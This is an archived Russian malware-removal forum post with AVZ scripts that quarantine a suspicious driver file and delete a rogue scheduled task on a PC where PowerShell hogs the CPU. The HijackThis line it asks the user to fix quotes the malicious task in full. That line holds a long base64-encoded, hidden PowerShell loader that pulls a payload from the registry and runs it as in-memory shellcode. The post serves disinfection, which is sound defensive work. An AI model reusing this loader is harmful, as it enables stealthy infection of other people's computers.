Загрузка ЦП (более 25%) процессом powershell.exe [Версия для КПК]

akok

20-02-2018, 20:33

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО ('http://safezone.cc/threads/18577/').

Выполните скрипт в АВЗ ('http://safezone.cc/threads/10/') (Файл - Выполнить скрипт):

begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('C:\Windows\TEMP\36fc9e6.sys','');
DeleteFile('C:\Windows\TEMP\36fc9e6.sys','32');
ExecuteFile('schtasks.exe', '/delete /TN "34d46df8-a1de-5a13-bdaab4e94a1082f7" /F', 0, 15000, true);
BC_Activate;
ExecuteSysClean;
ExecuteWizard('SCU', 2, 3, true);
BC_ImportALL;
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.

begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.

Полученный архив отправьте при помощи этой формы ('http://www.oszone.net/virusnet/')

"Пофиксите" в HijackThis (http://safezone.cc/threads/9/) (некоторые строки могут отсутствовать):

O22 - Task: 34d46df8-a1de-5a13-bdaab4e94a1082f7 - C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand JABOAEYAZQAxAGYARgBJAEoAIAA9ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABc AFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABTAGgAZQBsAGwAIgA7ACQAYgB2AHAAbwBWADQA dgBFAEMAIAA9ACAAIgB7AEUAMQAwADMAQQA3ADUAQQAtAEUARAA1AEQALQA1ADkANQA2AC0AQwA5AEIARgA4AEEANAA3AEMANwBF AEEAMAA2ADYAMAB9ACIAOwBmAHUAbgBjAHQAaQBvAG4AIABiAEEAcABRAG4AUgBZADUARABqAHsAUABhAHIAYQBtACgAWwBPAHUA dABwAHUAdABUAHkAcABlACgAWwBUAHkAcABlAF0AKQBdAFsAUABhAHIAYQBtAGUAdABlAHIAKAAgAFAAbwBzAGkAdABpAG8AbgAg AD0AIAAwACkAXQBbAFQAeQBwAGUAWwBdAF0AJABYAHoAWQB2AEkAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVAB5AHAA ZQBbAF0AKAAwACkAKQAsAFsAUABhAHIAYQBtAGUAdABlAHIAKAAgAFAAbwBzAGkAdABpAG8AbgAgAD0AIAAxACAAKQBdAFsAVAB5 AHAAZQBdACQAaABlAEsATwAyAGIAIAA9ACAAWwBWAG8AaQBkAF0AKQAkAFcAdwB4AG4AMgBuAGwAIAA9ACAAWwBBAHAAcABEAG8A bQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuADsAJABYAHIANAA3AE8AUwBaAFcAbABPACAAPQAgAE4AZQB3 AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkATgBhAG0A ZQAoACcAUgBlAGYAbABlAGMAdABlAGQARABlAGwAZQBnAGEAdABlACcAKQA7ACQASgBxAEUAeABZAEwAVgBvAEsAIAA9ACAAJABX AHcAeABuADIAbgBsAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAFgAcgA0ADcATwBTAFoA VwBsAE8ALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4ARQBtAGkAdAAuAEEAcwBzAGUAbQBiAGwAeQBC AHUAaQBsAGQAZQByAEEAYwBjAGUAcwBzAF0AOgA6AFIAdQBuACkAOwAkAEoAeABJAGYAZwAgAD0AIAAkAEoAcQBFAHgAWQBMAFYA bwBLAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AZQBtAG8AcgB5AE0AbwBkAHUAbABl ACcALAAgACQAZgBhAGwAcwBlACkAOwAkAEwAMwA3AEIAZwBnAGsAZwAgAD0AIAAkAEoAeABJAGYAZwAuAEQAZQBmAGkAbgBlAFQA eQBwAGUAKAAnAE0AeQBEAGUAbABlAGcAYQB0AGUAVAB5AHAAZQAnACwAIAAnAEMAbABhAHMAcwAsACAAUAB1AGIAbABpAGMALAAg AFMAZQBhAGwAZQBkACwAIABBAG4AcwBpAEMAbABhAHMAcwAsACAAQQB1AHQAbwBDAGwAYQBzAHMAJwAsACAAWwBTAHkAcwB0AGUA bQAuAE0AdQBsAHQAaQBjAGEAcwB0AEQAZQBsAGUAZwBhAHQAZQBdACkAOwAkAEwAUABrAHMAOQAgAD0AIAAkAEwAMwA3AEIAZwBn AGsAZwAuAEQAZQBmAGkAbgBlAEMAbwBuAHMAdAByAHUAYwB0AG8AcgAoACcAUgBUAFMAcABlAGMAaQBhAGwATgBhAG0AZQAsACAA SABpAGQAZQBCAHkAUwBpAGcALAAgAFAAdQBiAGwAaQBjACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBu AC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkACwAIAAkAFgAegBZAHYA SQApADsAJABMAFAAawBzADkALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAJwBSAHUAbgB0 AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7ACQAeAA0AHUAZwByAEcAZwBUADcAIAA9ACAAJABMADMANwBCAGcAZwBrAGcA LgBEAGUAZgBpAG4AZQBNAGUAdABoAG8AZAAoACcASQBuAHYAbwBrAGUAJwAsACAAJwBQAHUAYgBsAGkAYwAsACAASABpAGQAZQBC AHkAUwBpAGcALAAgAE4AZQB3AFMAbABvAHQALAAgAFYAaQByAHQAdQBhAGwAJwAsACAAJABoAGUASwBPADIAYgAsACAAJABYAHoA WQB2AEkAKQA7ACQAeAA0AHUAZwByAEcAZwBUADcALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBz ACgAJwBSAHUAbgB0AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7AFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABMADMA NwBCAGcAZwBrAGcALgBDAHIAZQBhAHQAZQBUAHkAcABlACgAKQA7AH0AZgB1AG4AYwB0AGkAbwBuACAAdwBIADgAaAB5AFcAVAB3 AEoAKAAkAGMAUAAxAGIAVQBmAHMAaAAsACAAJABMAEYATgAzAFAAZgBVAHcAZQApACAAewAkAHcAUQBNAFYANQBOAGoAOQBIAGIA UwBOAG0AYwA0ADEAbQAgACAAPQAgACQAYwBQADEAYgBVAGYAcwBoAFsAJABMAEYATgAzAFAAZgBVAHcAZQArADAAXQAgACoAIAAx ADYANwA3ADcAMgAxADYAOwAkAHcAUQBNAFYANQBOAGoAOQBIAGIAUwBOAG0AYwA0ADEAbQAgACsAPQAgACQAYwBQADEAYgBVAGYA cwBoAFsAJABMAEYATgAzAFAAZgBVAHcAZQArADEAXQAgACoAIAA2ADUANQAzADYAOwAkAHcAUQBNAFYANQBOAGoAOQBIAGIAUwBO AG0AYwA0ADEAbQAgACsAPQAgACQAYwBQADEAYgBVAGYAcwBoAFsAJABMAEYATgAzAFAAZgBVAHcAZQArADIAXQAgACoAIAAyADUA NgA7ACQAdwBRAE0AVgA1AE4AagA5AEgAYgBTAE4AbQBjADQAMQBtACAAKwA9ACAAJABjAFAAMQBiAFUAZgBzAGgAWwAkAEwARgBO ADMAUABmAFUAdwBlACsAMwBdACAAKgAgADEAOwByAGUAdAB1AHIAbgAgACQAdwBRAE0AVgA1AE4AagA5AEgAYgBTAE4AbQBjADQA MQBtADsAfQAkAHMAbABJAFYANQA1AGQAOQBUAGcAIAA9ACAAQAAiAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBl AGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIA IABHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBl AGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIA IABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABk AHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwA UAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1 AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0A ZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABwAHIAbwBjAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGEAZABkAHIAZQBzAHMALAAg AGIAeQB0AGUAWwBdACAAYgB1AGYAZgBlAHIALAAgAHUAaQBuAHQAIABzAGkAegBlACwAIAB1AGkAbgB0ACAAdwByAGkAdAB0AGUA bgApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABz AHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFMAZQB0AEUAcgByAG8AcgBNAG8AZABlACgAdQBpAG4AdAAgAHUA TQBvAGQAZQApADsACgAiAEAACgAkAHcAUQBNAFYANQBOAGoAOQBIAGIAegBRAGQASABoAGkAVwBGACAAPQAgAEEAZABkAC0AVAB5 AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAcwBsAEkAVgA1ADUAZAA5AFQAZwAgAC0ATgBhAG0A ZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBw AGEAcwBzAHQAaAByAHUAOwBmAHUAbgBjAHQAaQBvAG4AIAB3AGQATwBZAGsAKAAkAHMAbABJAFYANQA1AGQAOQBUAGcALAAgACQA TQBDAHQAYQAzAGoAbQAsACAAJABIAGgAZwBsAFMATQA2ACkAIAB7ACQAYQA0AFUARAA0AHMARQAyAE8AUwAgAD0AIAAkAHcAUQBN AFYANQBOAGoAOQBIAGIAegBRAGQASABoAGkAVwBGADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApADsA JABPAGoASgBtAHkAaABnAFQAawAgAD0AIAAkAHcAUQBNAFYANQBOAGoAOQBIAGIAegBRAGQASABoAGkAVwBGADoAOgBWAGkAcgB0 AHUAYQBsAEEAbABsAG8AYwAoADAALAAkAHMAbABJAFYANQA1AGQAOQBUAGcALgBMAGUAbgBnAHQAaAAsADAAeAAwADAAMAAwADMA MAAwADAALAAwAHgANAAwACkAOwAkAHUAegBtAGwAeQBQACAAPQAgACQAdwBRAE0AVgA1AE4AagA5AEgAYgB6AFEAZABIAGgAaQBX AEYAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQASABoAGcAbABTAE0ANgAuAEwAZQBuAGcAdABoACwAMAB4ADAA MAAwADAAMwAwADAAMAAsADAAeAA0ADAAKQA7ACQAdwBRAE0AVgA1AE4AagA5AEgAYgB6AFEAZABIAGgAaQBXAEYAOgA6AFcAcgBp AHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgB5ACgAJABhADQAVQBEADQAcwBFADIATwBTACwAIAAkAE8AagBKAG0AeQBoAGcA VABrACwAIAAkAHMAbABJAFYANQA1AGQAOQBUAGcALAAgACQAcwBsAEkAVgA1ADUAZAA5AFQAZwAuAEwAZQBuAGcAdABoACwAIAAw ACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAJAB3AFEATQBWADUATgBqADkASABiAHoAUQBkAEgAaABpAFcARgA6ADoAVwByAGkA dABlAFAAcgBvAGMAZQBzAHMATQBlAG0AbwByAHkAKAAkAGEANABVAEQANABzAEUAMgBPAFMALAAgACQAdQB6AG0AbAB5AFAALAAg ACQASABoAGcAbABTAE0ANgAsACAAJABIAGgAZwBsAFMATQA2AC4ATABlAG4AZwB0AGgALAAgADAAKQAgAHwAIABPAHUAdAAtAE4A dQBsAGwAOwAkAHUAZgBEAFkASwAyAEoAZgB3ACAAPQAgAFsASQBuAHQAUAB0AHIAXQAoACQATwBqAEoAbQB5AGgAZwBUAGsALgBU AG8ASQBuAHQANgA0ACgAKQArACQATQBDAHQAYQAzAGoAbQApADsAJABuAE4AQwBMADcAVwBiACAAPQAgAGIAQQBwAFEAbgBSAFkA NQBEAGoAIABAACgAWwBJAG4AdABQAHQAcgBdACwAIABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwBWAG8AaQBkAF0AKQA7ACQAawBB AGoARABuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMA LgBNAGEAcgBzAGgAYQBsAF0AOgA6AEcAZQB0AEQAZQBsAGUAZwBhAHQAZQBGAG8AcgBGAHUAbgBjAHQAaQBvAG4AUABvAGkAbgB0 AGUAcgAoACQAdQBmAEQAWQBLADIASgBmAHcALAAgACQAbgBOAEMATAA3AFcAYgApADsAJAB3AFEATQBWADUATgBqADkASABiAHoA UQBkAEgAaABpAFcARgA6ADoAUwBlAHQARQByAHIAbwByAE0AbwBkAGUAKAAwAHgAOAAwADAANgApACAAfAAgAE8AdQB0AC0ATgB1 AGwAbAA7ACQAawBBAGoARABuAC4ASQBuAHYAbwBrAGUAKAAkAHUAegBtAGwAeQBQACwAIAAkAE8AagBKAG0AeQBoAGcAVABrACkA OwB9AGYAdQBuAGMAdABpAG8AbgAgAFkAWgBUAHkAawAoACQAQQA4AG0AeABuAHUAagBDACwAIAAkAFAAZQBNAG8AYQBlADUAZgAz ACkAIAB7ACQAYwA4AEIASQBPADIAIAA9ACAAdwBIADgAaAB5AFcAVAB3AEoAIAAkAEEAOABtAHgAbgB1AGoAQwAgADEAOwAkAHcA UQBNAFYANQBOAGoAOQBIAGIAIAA9ACAANQA7AHcAaABpAGwAZQAgACgAJAB3AFEATQBWADUATgBqADkASABiACsAOAAgAC0AbAB0 ACAAJABjADgAQgBJAE8AMgApACAAewAkAEMAeAAyAGwAQQBvAGUAIAA9ACAAJABBADgAbQB4AG4AdQBqAEMAWwAkAHcAUQBNAFYA NQBOAGoAOQBIAGIAXQA7ACQARABxADcAQgBsAGEARQBEAEQAcwAgAD0AIAB3AEgAOABoAHkAVwBUAHcASgAgACQAQQA4AG0AeABu AHUAagBDACAAKAAkAHcAUQBNAFYANQBOAGoAOQBIAGIAKwAxACkAOwAkAHEAZQBuAGoAMgA5AEEARQBFACAAPQAgAHcASAA4AGgA eQBXAFQAdwBKACAAJABBADgAbQB4AG4AdQBqAEMAIAAoACQAdwBRAE0AVgA1AE4AagA5AEgAYgArADUAKQA7ACQAdwBRAE0AVgA1 AE4AagA5AEgAYgAgACsAPQAgADkAOwBpAGYAIAAoACQAQwB4ADIAbABBAG8AZQAgAC0AZQBxACAAJABQAGUATQBvAGEAZQA1AGYA MwApACAAewB3AGQATwBZAGsAIAAkAEEAOABtAHgAbgB1AGoAQwBbACQAdwBRAE0AVgA1AE4AagA5AEgAYgAuAC4AKAAkAHcAUQBN AFYANQBOAGoAOQBIAGIAKwAkAEQAcQA3AEIAbABhAEUARABEAHMAKQBdACAAJABxAGUAbgBqADIAOQBBAEUARQAgACQAQQA4AG0A eABuAHUAagBDADsAYgByAGUAYQBrADsAfQAgAGUAbABzAGUAIAB7ACQAdwBRAE0AVgA1AE4AagA5AEgAYgAgACsAPQAgACQARABx ADcAQgBsAGEARQBEAEQAcwA7AH0AfQB9ACQAaABTAGkAVQBMAE4ARQBqAEUARAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIA bwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQATgBGAGUAMQBmAEYASQBKACIAIAAtAE4AYQBtAGUAIAAiACQAYgB2AHAAbwBW ADQAdgBFAEMAIgApAC4AJABiAHYAcABvAFYANAB2AEUAQwA7ACQAQQA4AG0AeABuAHUAagBDACAAPQAgAFsAUwB5AHMAdABlAG0A LgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAUwBpAFUATABOAEUAagBF AEQAKQA7ACQAQQA4AG0AeABuAHUAagBDAFsAMABdACAAPQAgADAAOwBpAGYAIAAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoA ZQAgAC0AZQBxACAAOAApACAAewBZAFoAVAB5AGsAIAAkAEEAOABtAHgAbgB1AGoAQwAgADIAOwB9ACAAZQBsAHMAZQAgAHsAWQBa AFQAeQBrACAAJABBADgAbQB4AG4AdQBqAEMAIAAxADsAfQAKAA==

Для повторной диагностики запустите снова AutoLogger. В первом диалоговом окне нажмите "ОК", удерживая нажатой клавишу "Shift".